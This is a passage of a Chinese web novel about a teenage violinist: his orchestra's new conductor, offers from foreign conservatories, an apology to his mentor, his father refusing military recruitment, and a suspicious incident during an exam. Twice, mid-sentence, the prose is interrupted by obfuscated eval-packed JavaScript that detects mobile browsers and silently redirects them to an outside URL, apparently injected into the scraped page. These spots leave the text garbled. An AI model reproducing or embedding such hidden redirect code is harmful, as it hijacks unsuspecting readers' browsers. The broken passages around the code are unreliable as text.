而郭震就不一样了,她势必是抱着要一雪前耻的信念,演奏了一曲来自伊萨伊的无伴奏小提琴奏鸣曲。这样高难度的曲子,不仅完成度空前,艺术性也做得非常好,很有个人风格,可以说毫无可以挑剔的地方。只可惜台下坐的大部分还是普通观众,对于他们来说,这首曲子还有有些艰涩了,不如《梁祝》入耳。 也许这就是“一生之敌”的意思吧,对于郭震来说,顾梓聿始终是她修行路上的一个心障。 从帝都回来之后,顾梓聿就像强撑的弦终于断了,之前全靠意志力硬撑,身体在高度紧张的情况下,依靠肾上腺素和压力维持运转,如今一松懈,身体终于找到机会向他讨债。当时下台的时候,一阵虚脱般的晕眩告诉他,虽然他撑过了舞台,但也彻底被病魔拖垮了。 高烧彻夜不退,整整病了一周。 他被迫停下所有,只能卧床休息。然而,即使躺在床上,闭上眼睛时,他脑海里依然是曾经吴老师授课的点点滴滴。他的情绪仿佛被困在过去,一直不得解脱。 本来今天,顾仲景想让他在家里好好休息,补充点睡眠,毕竟医生也说他这场来势汹汹的病和缺觉少眠有很大的关系,但是顾梓聿坚持要来,因为今天同时也是新指挥来乐团报道的第一天。 国不可一日无主,被三顾茅庐请来的救火员柏嘉辉,绝对是个大忙人,每周都几趟飞机飞来飞去的,学历和履历都标准得完美:就读于帝国中央音乐学院附小和附中、莱比锡音乐学院的少年天才学院,16岁时考上莱比锡的小提琴专业和指挥专业的本科,四年后进入柏林艺术大学攻读指挥博士学位,期间曾师从西蒙·拉特尔,并作为助理指挥参与柏林爱乐乐团的排练。十多年来,他与世界十数个知名的交响乐团都有过合作,目前常任柏林交响乐团的艺术家指挥、央音学院指挥系教授和央音学生交响乐团艺术总监及指挥。 这样的专业水平,来指挥他们这群孩子,也算是屈才了。 门被推开。 一位身材修长、气质儒雅的男子走了进来,步伐稳健,带着一种不疾不徐的自信。他穿着剪裁考究的衬衫和西装裤,头发微长,规矩地梳在脑后,但还有几绺发丝从额角边滑落,他戴着一副细框眼镜,目光沉静而温和。等到站定在指挥台前,他的目光扫过全场,微微一笑。 这是他接手这支交响乐团的第一天。近百人的规模。 没有寒暄,也没有刻意试图拉近距离。 他语气平稳而自然地开口:“大家好,我是柏嘉辉。” 他的声音不大,却清晰地传遍了整个排练厅。 然而,乐团的成员们只是安静地看着他,没有太多反应。大多数人依旧拘谨地坐着,有的人拿眼偷看顾梓聿的反应。 顾梓聿知道,作为首席,他不仅仅是弦乐组的领头人,更是乐团与指挥之间的重要桥梁,他有责任维持秩序,帮助指挥更快地融入这个乐团。他站起身看向柏嘉辉:“柏老师您好,我叫顾梓聿,我代表鹿城学生交响乐团欢迎您的加入。” 柏嘉辉与他对视了一眼,点了点头,率先伸出右手:“你好梓聿,祝贺你啊,梅纽因的表现很精彩,祝我们合作愉快!” 底下的学生们微微一愣,下意识地屏住了呼吸。 吴老师过去从未是这种风格,握手是什么东西?吴老师更像是一位严苛的统领,指哪打哪,而非平等合作的伙伴,还跟你握手?不扇你一巴掌就不错了。 顾梓聿抬头,对上了柏嘉辉的目光。 他能感觉到,这不仅仅是一个礼节性的握手,而是一种态度——柏嘉辉不是来强硬地接管乐团的,而是希望建立某种合作关系。 顾梓聿微微欠了欠身,伸出右手,与柏嘉辉稳稳地握了一下。 “合作愉快。” 这一刻,气氛终于不再那么僵硬了。 乐团的成员们交换着眼神,原本拘谨的神情悄然松动了几分。柏嘉辉的方式,或许和吴宏礼完全不同,但未必是坏事。 柏嘉辉松开手,嘴角带着一丝笑意,回到指挥台上,翻开谱子,选择直接进入排练——这对于一支习惯了严格训练的乐团来说,这无疑是最稳妥的方式。 顾梓聿转过头,微微示意了一下。作为首席,他的态度会影响整个乐团的节奏。看到他进入状态,其他团员也纷纷调整坐姿,做好演奏准备。 柏嘉辉举起指挥棒,眼神沉稳,等待着所有人进入状态。 顾梓聿跟随着,举起琴弓等待着。 一秒,两秒。 指挥棒落下,音乐流淌而出。 刚刚结束一轮两小时的高强度排练,十五分钟的排练间歇,顾梓聿快速回到休息室,只为喝一口水。吴老师之前不允许将容易发出声响的物件带到排练厅,其中就包括矿泉水瓶和塑料袋,这个规矩就一直延续至今。 他觉得有些饿了,又摸出一个苹果,边嚼着清甜的果肉边刷手机,有一个未接来电,是宋熙和的。 他赶快回电过去,那边宋熙和很快就接通了。 “师兄早上好!刚我在排练,您找我什么事儿?” “有个好消息告诉你。” “茱莉亚音乐学院向我们表达了录取你的意愿。”电话那头,宋熙和从椅子上站了起来,脸上表情乍看是严肃地不苟言笑,实际上微微加深的眼尾纹早已泄露了他的好心情。 “除此之外柯蒂斯、 曼哈顿、汉诺威还有巴黎国立都有邮件过来。” “什么?!”顾梓聿惊吓着被呛了一口:“怎么会?” 他本人并未递过申请,甚至连录音带都没寄,怎么可能…… “像梅纽因这种大赛,每届都会涌现出不少新生代的尖子,各个学校当然都会派人来看看。鉴于你并不是国内科班出身,还能有如此高水平的发挥,也不奇怪这几所世界顶尖的学院都向你伸出橄榄枝。” 然而,若不是宋熙和提前把顾梓聿的名字报给他一众好友,便是顾梓聿再惊才绝艳也不会收到这么多的肯定。不过这一点,怕挫了小朋友锐气,宋熙和就压下不提了。 这几所学校都称得上是超级高校:茱莉亚现址在林肯艺术中心,位于纽城最繁华的66街和百老汇街口,而旧址现为曼哈顿音乐学院。柯蒂斯位于宾州费城,旁边就是费城爱乐乐团,汉诺威是德意志的老牌名校,与柏林艺术大学不相伯仲,而巴黎国立则是法兰著名艺术高校,著名校友有作曲家比才、圣桑、德彪西、拉威尔。 “之所以这么急着叫你回来,是因为这几所学校的招考日期就在近日,你如果有想要就读的意向最好现在就定下来。” 顾梓聿还没做好心理准备,唯唯诺诺地话都没出口,就听见宋熙和强压兴奋地絮絮叨叨,为他盘算。 “我认为汉诺威和巴黎国立可以排除了,毕竟去这两个国家你还要多学习一门语言,况且汉诺威的优势在键盘。而剩下三所,曼哈顿不论从名气还是教学实力都比不上茱莉亚和柯蒂斯。最后,你还得落在这两所里选一所。” 顾梓聿已经被这一连串绕晕了。在他心里,他原先根本没想过要读音乐专业,即使是在年初和顾仲景的一席长谈后,他还一厢情愿地把这件事放在脑后。而今,这个十字路口就摆在眼前! “你也是拉过多年琴的人了,对自己也应该很了解了。大概自己怎么做选择,利弊都列出来,自己好好比较一下,尽快给我一个明确的答复,好吧?” 好…吧。 宋熙和说了这么一连串,电话那头的小孩却没什么声响。 “怎么了,有什么问题吗?” 顾梓聿不傻,师兄一定是替他活动了,才会有这么多橄榄枝向他递来。他知道面试学校有多辛苦,先不说长途赴考旅途的辛劳,光是准备面试就能要了他半条老命。优秀的年轻人就像春后的韭菜,一茬一茬的生,怎么偏偏就他这么招人喜欢呢?如果没有师兄的面子,他不会像现在这么惬意,坐在家中就能天降馅饼。 “师兄…”顾梓聿的心思还停留在梅纽因决赛夜晚的时候,他对宋熙和说的那些难听的话。当时的自己是一时冲动,情绪失控——吴老师病危,他心里的恐惧和悔恨就像是雨季的汹涌水流不断冲撞堤坝,崩溃的时候,那些蛮横又偏执的赌气恶言像决堤的洪流一样,摧毁了他的理智。他说出口的那些话,那些愤怒和质疑,既是在伤害师兄,也是在折磨自己。 那样难听的话,他知道有多大的伤害。 宋熙和当时强忍怒意,没有和他计较,是因为知道他还要比赛,让着他这个不懂事的小孩,但这件事结束后直到今天,他都没有正式对师兄道过歉。 休息室里还有别的团员,顾梓聿指了指自己的电话拱了拱手,大家都会意地出去了,还把门带上,把私密的空间留给他。顾梓聿微微低下头,朝着墙壁,鼓起勇气开口道:“师兄,对不起,我必须要为决赛那天晚上我说过的那些话向您道歉,希望您能原谅我。我当时真的是失去了理智,我不是那个意思。” 在片刻的犹豫后,他又加了一句,“我真的不是那个意思,我当时只是在乱发脾气,我知道您对老师,老师对您,都是绝对的真诚。您教给了我这么多东西,让我成长,让我变得更好,但我当时只是因为自己的情绪就跟您发脾气,说了那么多难听的话,我现在想起来都很后悔,真的对不起。” “我知道伤人的话一旦说出来就是覆水难收的,那些话造成的伤害永远都不可能消失,但我真的很对不起、很对不起您…” 顾梓聿说着说着,忍不住红了眼眶,鼻头酸酸的。 宋熙和在电话这头听到男孩声音里的哽咽和自责,也禁不住叹了一口气。他想,要是现在小男孩就在他面前,他一定要把人按倒,先狠狠揍他几下屁股解解气,然后再揉揉他的脑袋,拍拍他的肩膀。 哎,就算在舞台上再怎么光芒万丈,顾梓聿还是一个小孩,他的委屈和愧疚,他作为成年人可以理解。 宋熙和的语气变得温和,但也带着一丝严肃:“梓聿,我必须承认,你当时说的那些话,确实伤害了我。” 顾梓聿倒抽了一口凉气。他没想到师兄会这么直接。 宋熙和继续说:“因为我也是凡人,所以我会在意、会受伤,但我也原谅你,因为你也是凡人。凡人是会犯错误的,而我们都是凡人。没关系,话说开了就好。我现在不生气了,我对那些话也不在意了。你听到了吗?这件事已经过去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266205|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要知道,每个老师都希望自己的学生能发展得更好,我虽然名义上是你的师兄,但其实也算是你的老师,你同意吗?教了你这一段日子,你很认真,很勤奋,也很有天分,别人认可我的学生,我做老师的当然是高兴,青出于蓝而胜于蓝,否则传承就没有意义了。你明白吗?” 明明是自己的错,反倒是师兄先放下了尊者的姿态,软了态度,悉心开解自己,顾梓聿不由得更内疚起来,听到这么多推心置腹的话,他所有的情绪都一起失控地决堤而出。 回到排练厅后的顾梓聿有些心神不宁,整个下午的排练都不太专注。他虽然看似和整个乐队的步调保持一致,但每次姜明珺翻曲谱的时候,他都会走神一小会,然后凭感觉拉出旋律,有好几次都差一点没跟上。 虽然弓子走向和姜明珺保持一致,但是指法、把位的不同导致弓子的角度有差异。向来最是火眼金睛又眼里容不得沙子的柏指挥一眼就看出顾梓聿在走神,严肃地用指挥棒敲了一下顾梓聿的谱架。 柏嘉辉刚出现的时候还是一副翩翩君子,温文尔雅的模样,但经过了一个早上的磨合,大家发现,他虽然不骂人,但他严肃起来的时候却是不怒自威。这声响虽然不是很大,但所有人都一个激灵,立刻正襟危坐,连木管的音量也放大了。 顾梓聿脸皮薄,此刻只觉得坐立不安,只好更加认真投入到排练中去。 正好掐着顾梓聿不在家的钟点,顾家的沙发上,顾仲景和程琤相对而望。也不知道到底是顾仲景邀请的程琤,还是程琤不请自来,只不过,两人的表情都不太轻松。空气里弥漫着一股无形的压迫感,茶几上,氤氲的热气从茶水表面缓缓升起,却无法驱散这房间里逐渐凝固的对峙气氛。 两个男人暗地里对峙的场景就如同两头虎视眈眈的猛兽,看谁先露出柔弱的腹部,另一个就会凶相毕露,猛扑上去撕咬对方的弱点,直至一死一生。 “顾先生,”程琤诚恳地劝说道:“您儿子是一个很有天分也很勤奋的孩子,他能够到今天,取得这样的学术成绩是件很不容易的事,不但他自己付出了很多努力,我们的老师也倾注了很多心血。应该说,他是一个不管是现在还是将来都会令我们学校感到自豪的孩子。但如今,您却执意要让他改学艺术,走专业道路,放弃他目前的竞赛的优势,我感到很不理解。” “您开学的时候跟我们沟通过,顾梓聿身体不好,不能太投入在学业上,需要时间好好调理,老师们也都很理解。这个学期我们学校要派学生们参加很多比赛,每个老师都没有强迫他去参加那些竞赛,以免他压力过大,就是希望他能够尽快恢复好身体,毕竟高中时期,身体状况是最后冲刺的一大决定因素。” “恕我直言,让顾同学放弃学业走专业这个决定确实有点偏颇,现在咱们讲的是全人教育,他还这么小,就为他限定了方向,这样不好吧?他将来在小提琴上取得的成绩也未必会比现在他的学术成就高。更何况您这样地替他拿主意,他本人愿意吗?我们还是要尊重孩子的意愿,不要越俎代庖嘛…” “让他放弃竞赛,走音乐生的路线,这对他来说就是最好的选择。” 顾仲景的语气平稳,像是在陈述一个既定事实,目光深沉,带着不容置疑的坚定。 程琤皱起眉头,脸上是难掩的不解:“顾先生,您真的认为这是最好的选择?” “当然。音乐可以是一条稳定的道路,他的天赋在那里,足够让他走得很远。” 程琤沉默了一下,斟酌着措辞:“可他的天赋不仅仅在音乐上,他在竞赛方面的能力甚至比音乐更突出。您也知道,数理化加上信息学,这样全面发展的学生不是随处可见的,他的优秀有目共睹,而这不是靠努力就能弥补的天赋,为什么要让他放弃?” 顾仲景轻轻笑了一声,语气平静,却透着难以撼动的决绝,“正是因为他太优秀了,我才不能让他继续。我更希望他能有一个普通、安稳的人生。我希望自己老了之后,我的孩子可以在我身边陪着我,一起吃饭、一起聊天,而不是窝在哪座深山老林里执行机密任务。保家卫国的责任太重大,我替我家孩子做主了,他承担不了。” 程琤明白了,眼前的父亲并不是不理解孩子的天赋,而是理解得太过深刻,深刻到他宁愿让自己的孩子放弃这份天赋,也不愿意让他踏入某个不可控的深渊。 “顾先生,您或许能决定他今天的选择,但未来呢?您真能一直替他决定吗?” 程琤顿了顿,语气愈发坚决,“帝国需要这样的人才。梓聿不仅仅是聪明,我观察了很多年,见过太多学生了,他在所有的考核标准上都是佼佼者,他的思维方式、他的决策能力、他的意志力、他的冷静和逻辑性,都是极为罕见的天赋。如果任由这些天赋被埋没,不是太可惜了吗?” “我知道您担心什么,担心他太优秀,担心他被推向更高的位置,承担更多责任。但顾先生,每个公民都有自己的使命,尤其是像梓聿这样的天之骄子。他生在帝国,享受着帝国给予的资源和培养,难道不应该回馈给帝国吗?” 顾仲景缓缓放下茶杯,语气依旧平稳,“帝国不缺人才。” “错了。” 程琤毫不犹豫地反驳,目光锐利,“真正的人才永远都不够,尤其是像他这样的。如果人人都只想着安稳度日,过自己的小日子,那这个帝国靠谁来支撑?谁来承担那份责任?” “顾先生,我教过很多学生,见过各种各样的天才,也见过太多碌碌无为的人。我可以负责任地告诉您,像梓聿这样的孩子,如果选择安逸,那才是这个国家的损失。您真的甘心,让他的天赋被埋没在普通的生活里吗?” 顾仲景已经快忍不下去了。他强忍着冷笑和送客的冲动,不过是顾念在顾梓聿对程琤的尊重上,才没有撕破脸面直接把对方赶出家门。 顾梓聿的父母皆是人中龙凤,他们的孩子自然也非凡俗。藏锥于囊,其末立现。但他绝对不会允许顾梓聿成为军部那些老人扛着做戏的旗帜。 顾梓聿这辈子都会是个普通人,他会平平安安地活着,将来娶妻生子,最后到死也只会老死在家里的床上。没有人能够把这小孩绑到他们必沉之船的桅杆上作风帆! 25. 考场意外 程琤最近身心俱疲。 他为军部服务这么多年,还从来没遇见过顾梓聿这么棘手的案子。 以往,遇到像顾梓聿这样的天才,事情从来不会这么复杂。许多家长在得知自己的孩子被军部选中、有机会成为国防生时,哪怕一开始有所犹豫,最终都会为此感到自豪。毕竟,这是帝国的召唤,是家族的荣耀,甚至是许多人梦寐以求的机会。 但顾梓聿的父亲不同。他油盐不进,理智得近乎冷漠。无论是“帝国荣誉”、“使命责任”,还是“个人前途”,这些足以说服大多数人的理由,对他来说仿佛毫无意义。他不仅不支持,甚至有种近乎本能的抗拒。 程琤已经用尽了所有他能想到的说辞,却始终无法撼动顾父的立场。更让他棘手的是——顾梓聿本人似乎也没有表现出太多倾向性。 这才是最难对付的地方。 如果顾梓聿只是被父亲影响,那问题还有解决的空间。但看起来,他对他父亲是无条件的服从。这个学期,准备了那么多年的 IOI,说放弃就放弃,这是多么冷酷无情的决策理性?所有的投入、付出和坚持,仅仅因为他父亲,在那一刻都成为可以舍弃的过往,付出再多,投入再深,都比不上他父亲的一句话。 一个天赋卓绝、能力超群,却不愿被任何人驱使的天才,才是最危险的存在。 程琤叹了口气,望向窗外昏暗的天空,陷入沉思。他不知道该怎么做才能真正吸纳顾梓聿。 只不过,当他垂头丧气地向上面汇报时,头家的态度却令他有些琢磨不透。他,或者说他们,对于顾梓聿即将要脱离他们掌控这件事似乎不以为意,反而还告诫他,平日里少往顾梓聿跟前去。而且他们似乎成竹在胸,认为在不久的将来顾梓聿就会被他们收拢在手掌心里。 怎么有可能呢?呵呵,程琤冷冷一笑:只要有他父亲在,这件事就不可能发生。 不过,他抬头看向台上正在带领初三学生誓师的男生——傅尧这半年来的表现,倒是令他略感失望: 他一直不明白,傅尧怎么能如此淡然。父母罹难,家族动荡,外界虎视眈眈,觊觎傅家那份庞大的产业与影响力,张着血盆大嘴时刻准备着冲上前去猛撕一口血肉。而傅尧呢?他却还待在这校园里,做什么学生。 他不该在这里虚度时光。 以傅尧的聪明与能力,他本该回到家族,迎战那些蠢蠢欲动的觊觎者。哪怕局势再混乱,哪怕前路再危险,他都应该站在家族的中心,而不是在这所学校里做一个无所事事的“普通学生”。 他到底在逃避什么? 或许,傅尧并不是不明白自己的责任,而是根本不愿意接手。但这未免太过天真了。家族的血脉不是说断就能断的,外界不会因为他的置身事外就停止侵蚀。傅尧或许以为,他能在这象牙塔里躲上一阵,可早晚有一天,他终究要回去的——要么是主动归位,要么是被人逼到无路可退,再被迫迎战。 不知道这是他自己无勇无谋,还是傅家那位老祖宗根本不看重他? 他该清醒了。不管他愿不愿意,傅家不会允许他永远当个旁观者。 “…在这里,请老师和家长们放心,我们一定全力以赴,诚信应考。” 男孩紧抿双唇,深邃的翠绿色的眼睛在阳光的照耀下带着一丝不可捉摸。 他缓缓举起右拳,一字一句道: “我谨代表全体初三同学在国旗下庄严宣誓,我们将在考试中严格遵守考场纪律,恪守诚信誓言,绝不作弊。今天,我们因母校而骄傲,明天,就请母校为我们而自豪。” 不同于以往都是顾梓聿作为学生代表发言,这一次取而代之的是傅尧。六月初的天,蓝得醉人。明媚的阳光下,张瑾妤微眯着眼,唇角轻轻地上扬,一脸认真地注视着台上的男生。 站在斜后方的顾梓聿旁若无人地盯着张瑾妤的后脑勺,并顺便在心里朝傅尧翻了数十个白眼:尽管他自己知道,就凭这个学期的表现,他是不可能作为学生代表上台做中考动员的,但他还是对于被傅尧取代这件事表示极大的愤慨——如果自己站在台上,张瑾妤也会这样目光灼灼地看着自己吗? 八年了,他始终还记得第一天来到鹿城实验小学时,那个扎着两条羊角辫欢迎他的可爱的小女孩。这是个陌生的城市、周围都是陌生的人,他失去了爸爸妈妈、失去了原来生活中熟悉的一切,他一个人孤孤单单地站在台上做着不属于自己的自我介绍,然而不像其他或好奇或冷漠的孩子,张瑾妤表现出的只是纯粹的包容。 她是班长,活泼开朗,小的时候,她总像小鸟儿一样叽叽喳喳地,走到哪儿都能带起一阵欢快的气氛。她主动和他搭话,询问他从哪里来,是否习惯了新的环境,那些简单的问候,却成了他在融入这里最重要的动机。 刚来的时候,顾梓聿总是自己一个人坐在角落看书,周围是吵闹的同学们,而他却总觉得自己格格不入。是张瑾妤把手伸到他的面前,掌心里是包装精美的各种糖果,“特意带给你吃的”,她笑得阳光灿烂,那一瞬间,顾梓聿突然觉得天都明媚了。 她坐在他旁边,给他介绍班里的同学,还顺带分享一些无伤大雅的小八卦,时不时调皮地向他挤眉弄眼,那种轻松的气氛消解了他的孤独感,也让他对这个城市、对这个新的环境感到了一点点归属感。不管是她的笑容,还是她温柔的眼神,都像是某种无声的承诺——无论他遇到什么困难,她总会在他身边,给他支持和鼓励。每一次的微笑、每一次的轻拍肩膀,似乎都在告诉他:你不是孤单一人。 张瑾妤身上有某种天然的光芒,让人不由自主地想靠近。 顾梓聿有些难过:这个陪伴了他好多年的女孩,不知道这次分别后,他们会在哪里再次遇见呢? 誓师大会结束后,大家三三两两地走回教室:还剩几天就是中考了,虽然早已胜券在握,不过一班的学生们都还是很认真地应对这场考试,纷纷拿出笔记或练习,进行最后的温习。 除了顾梓聿。 顾仲景和宋熙和的效率超乎寻常的高,短短一个月就押着顾梓聿完成了语言考试。从注册交钱到选时间最近的考位,他俩对顾梓聿的水平可谓是非常信任,根本就没给他留下一点考前抱佛脚的机会。 顾梓聿没有背词汇书、没有听听力机经,只来得及看了看官方指南上的考题类型,连一篇模拟作文都没练过笔。好在他选的考场,位于鹿大由校友捐赠的多媒体教室,配的都是高级货,价值不菲的键盘超级给力,即使他在打作文草稿时耽搁了蛮久,超高的手速也给他挽回了不少时间。 虽然最后考的成绩不是很高,但 105 分也早就超过了茱莉亚或柯蒂斯的录取标准。接下来只剩下专业面试了。按照宋熙和的意思,顾梓聿是提前去索伦做准备比较好,早点适应环境也不至于临场紧张:反正这个中考对顾梓聿来说已经没有什么用了,何必无意义地浪费时间。 说实话,顾梓聿确实不在乎中考,但他在乎能和朋友们再多相处一些时间,尤其是张瑾妤。他知道这个女生将会有美好的未来:她会继续读书、吟诗、弹琴,在高中绽放光芒,成为众人眼中的焦点,也许还会…还会站在一个相配的男生身旁,他们拉着手,漫步在大学校园,相互扶持、相互照顾。渐渐地,那个男生会成为她生命中最重要的人。 只是,不再会是他了。 他看着自己笔袋里的那一个小小的纸折的千纸鹤,那是有一天张瑾妤在上课无聊时折的,他下课时趁她不注意偷偷藏起来,那时也不知道是出于什么心态。不过他现在知道了,那是一种心被牵住的感觉。他趴在桌上,看着前面的女孩,不自觉地伸出笔杆,挑动她的马尾辫。 “顾梓聿,你不要以为坐在我后面就可以随便玩我头发了好嘛!”张瑾妤无奈地回头:她觉得顾梓聿真的是很幼稚,“你能不能认真地专心地复习一会儿啊。看看你这个学期,根本没在好好学习,你这样怎么能行啊。” 张瑾妤已经忍了一整个学期,她最开始以为顾梓聿的“不靠谱”只是想引起她的注意,她不动声色无动于衷,只是因为她知道将来她会走上一条遍布荆棘的路,而顾梓聿有他自己的人生,他俩注定没有将来。 是!她清楚顾梓聿的心意,她也明白自己的心意。然而,这终究是不现实的。没想到这家伙越来越过分,张瑾妤终于忍不住了。 被批评的顾梓聿却是很开心,因为张瑾妤终于表露出来对他的关心,他笑盈盈地望定张瑾妤,突然伸出手抚平她皱起的眉头,而张瑾妤显见地被他这样冒失的举动惊吓到了,往后一缩,惊到了一旁的傅尧。 傅尧只是回头看了一眼,又若无其事地转回去。然而这一眼,却令张瑾妤感到如坐针毡,她只最后瞪了顾梓聿一眼,然后就再也没有理过他了。 很快,中考就来临了。 中考不同于往日普通的考试,全市的考场都统一配备了防作弊系统。考生在进入考场前,监考老师首先要核对身份证件及准考证件,每个考生都必须经过金属探测仪检查才能进入考场,如果遇到金属物品,探测器的绿灯就会变成红灯并发出警报声。 考场内都配置了手机信号屏蔽仪,能将考场手机信号全部屏蔽;隐形耳机探测器能对隐形耳机发射器发射出的电磁波信号进行监测,不会对所有考生使用,只有在发现考场有疑似作弊情况时才会启用,从而杜绝作弊现象。 此外,每个考场、每间教室的监控摄像头都与教育考试院和教育考试中心的监控平台互通,届时考场内的一切情况都在监控之内。 对于大部分学生来说,中考是一个重大的日子,这三年,或勤奋刻苦、或吊儿郎当,都会或多或少地真实地反映在这张卷子上,决定着他们将来人生下一阶段的方向。因而,他们基本上都面无表情地排在队伍当中,等待检查,如临大敌。 考场是随机安排的,因此,八中的一千多个学生被分散在了四十个不同的考场。 按照概率论来说,若是完全按照电脑随机分配,一个考场内,一班的孩子最多也不会超过两个,然而,陈心乔惊讶地发现,她所在的这间教室似乎有些不同寻常:三十个考座上,有她自己、傅尧、方灵烨,还有...张瑾妤和顾梓聿。 她的座位在教室的最后方,可以轻轻松松地对教室全景一览无余。签过诚信考试承诺书,等着考卷发放下来的时间里,她一边摩挲着手里的涂卡笔,一边偷偷地望着顾梓聿——他就坐在她的斜前方,坐在傅尧正后方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266206|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,悠闲地转着笔,那支派乐水笔就听话地在他修长的手指间忽隐忽现,仿佛长了双小翅膀般有着灵性。 陈心乔是很有点脾性的人,她是个在感情面前很卑微、却也有着超乎一般的强自尊的人。她的自尊不允许她向顾梓聿表露一丁点的感情,可同时,她的卑微也吞噬着她的心,令她的目光无时不刻不能离开顾梓聿。 早上考国文,下午考数学,尽管压轴题刚一看有些想不出头绪,陈心乔抬起头看看顾梓聿的背影,想着他一定能轻松地解出来吧,突然一下灵光一闪也就画出了那条辅助线。她心里一甜,觉得分外踏实——原来,幸福就是这么小、这么简单。 第二天早上,第一场考的是物理,第二场考的是化学。中考难度的物理和化学对他们来说都很简单,因此第二场的化学卷陈心乔很快就做完了。可是,当她不经意抬起头时,她却发现了一丝不对劲。 鹿城的夏天很闷热,考场里为了保证绝对的安静,连电风扇也没有开,窗外的蝉有气无力地偶尔叫一声,也被奋笔答题的学生们置之不理。当然,像方灵烨、傅尧这些人,也必定早就做完了卷子。可是,细心的陈心乔却发现,方灵烨做着扇风的动作,实际上却像是在借此观察整个考场。 他在做什么? 陈心乔偷偷地顺着他视线的延长线望去:考场里配有两位监考老师,一位是本校的,一位是外校的,且正好是本校的老对头——鹿城一中的老师。多年以来,一中以文科争霸,本校以理科称雄,两校针锋相对的战火从初中延续到高中、学校延续到社会,即使是毕业多年在职场上遇见,两校的毕业生也是“势不两立”的。 方灵烨举起手,这时,正好那个市一中的老师走过他身边,注意到了他,低声悄悄问道:“同学,你有什么问题?” 方灵烨指着卷子上一处题干,问道:“老师,我想问一下,这个题目的意思是不是说…?” 坐在不远处的顾梓聿也注意到了这不寻常的场景:一般来说,在考场的时候不能问跟考题相关的问题,都考了这么多年试了,这是众所周知的规则,方灵烨不可能不知道。而且奇怪的是,刚才本校的老师在这半边地界巡了半天,方灵烨愣是憋着不问,现在那个一中的老师刚换过来,方灵烨立马举手问问题,这不符合常人的习惯吧? 毕竟,正常人在陌生的情景下都更倾向于求助熟悉的人。 果然,这位监考老师并没有回答他:“同学,我不能回答这个问题。题目已经很清楚了,可能你要再仔细看一遍。” 就在监考老师说话的同时,顾梓聿看到坐在他前面的傅尧抬起手,在耳边动了动,一阵轻微地“滋滋”声断断续续地发出。一瞬间,顾梓聿浑身的汗毛炸起,心“砰砰”地漏跳了几拍——傅尧他在干什么! 刚刚要离开的监考老师敏锐地察觉到了这个不一般的动静。他回过头,目光仔仔细细地在在座的学生面孔上扫过去。大部分学生并没有发现异常,仍在奋笔疾书,然而,一直关注着一切的陈心乔出了一身冷汗,她几乎是下意识地往看似与这些没有关系的张瑾妤望去,凭着她往日私下里对张瑾妤事无巨细的观察,她可以百分之百地肯定,张瑾妤在害怕或担心着什么。 监考老师看似无动于衷,慢慢踱步走到教室后面,其实是在找寻声音的来源。顾梓聿不敢转头,感觉到余光里瞟不到老师的衣角,微弱的“滋滋”的声音却还在时有时无地响起。 顾梓聿不知道别人听不听得到这个声音,但对他来说,这个声音却是惊天动地如雷贯耳。他一边提心吊胆侧了侧身子,祈望监考老师看不见自己,一边赶快用笔戳了戳前面的傅尧,提醒他赶快把这要命的不知道什么东西关掉! 傅尧好像是领会了他的提醒,又抬起手在耳边动了动,然而这回,那东西就像是彻底坏掉了似的,发出了一声尖锐的噪声,而后是更加大声的“滋滋”声。 说实话,其实这声音也不是很大,至少其他还在认真答题的考生们就没有察觉到,但是对于暗地里一直在搜索异常声音来源的监考老师,却足够了。顾梓聿更是被这声音炸了一下,跟这声音本就无关的他,突然就口干舌燥坐立不安起来:他实在是没搞清楚,傅尧这是在干嘛?!他这是在...作弊吗? 一中的老师示意本校的监考老师在讲台上看着考生,自己则向声音的方向走过去,顾梓聿感觉到脚步声朝自己这个方向走过来,更是心底打鼓,装作若无其事的样子边转着笔边大声地翻着卷子,生怕老师的注意力被吸引到傅尧那边去,还矫情地咳了几声。 不论傅尧是不是做了不该做的事,从感情上来说,他都希望傅尧不要被抓住。尽管这样对其他人很不公平,但无论如何,傅尧也算得上是他的铁瓷,尽管这半年他俩好像生疏了许多,但是这么多年一起的情谊,他做不到看着兄弟危险而不帮他一把。更重要的是,他不可能眼睁睁看着声名鼎赫的母校在百年校庆之际,爆出学生作弊的丑闻。 于是,他转笔时“一失手”把笔掉在地上,弯下腰捡笔的时候还“不小心”撞了前面的傅尧一下,一系列的小动作,看起来是有点可疑。 果然,这动静惊动了教室里所有人,监考老师走到他面前说:“同学,请跟我出来一趟。” 26. 严厉处罚 “哦。” 顾梓聿急忙站起来,像是真做了什么亏心事,手忙脚乱着急忙慌地,又“不小心”踢到了桌椅,不敢抬头,跌跌撞撞地在监考老师堪比探照灯般的目光注视下走出来。 他不经意地回了一下头,意有所指地盯进傅尧眼中,然而,那双眼仿佛如深潭,不起一丝波澜。 站在台上的本校的老师,此时搓了搓自己的下巴:他虽然不是今年初三这一届的老师,但是顾梓聿作为一个为学校争了很多光的超级学霸,他还是知道一些的,像他这样一个学生,根本就不可能作弊嘛,因此,他并没有太当一回事:一中的老师想搞事情咩?那就随他去咯。 到了考场外,在一中的监考老师和主管的监考官眼皮子底下,顾梓聿把口袋掏了个干干净净,没有什么违禁物。巡考官拿出隐形耳机探测器,绕着顾梓聿探了好一阵,仪器也乖乖的,一声不吭,没有发出任何警报。 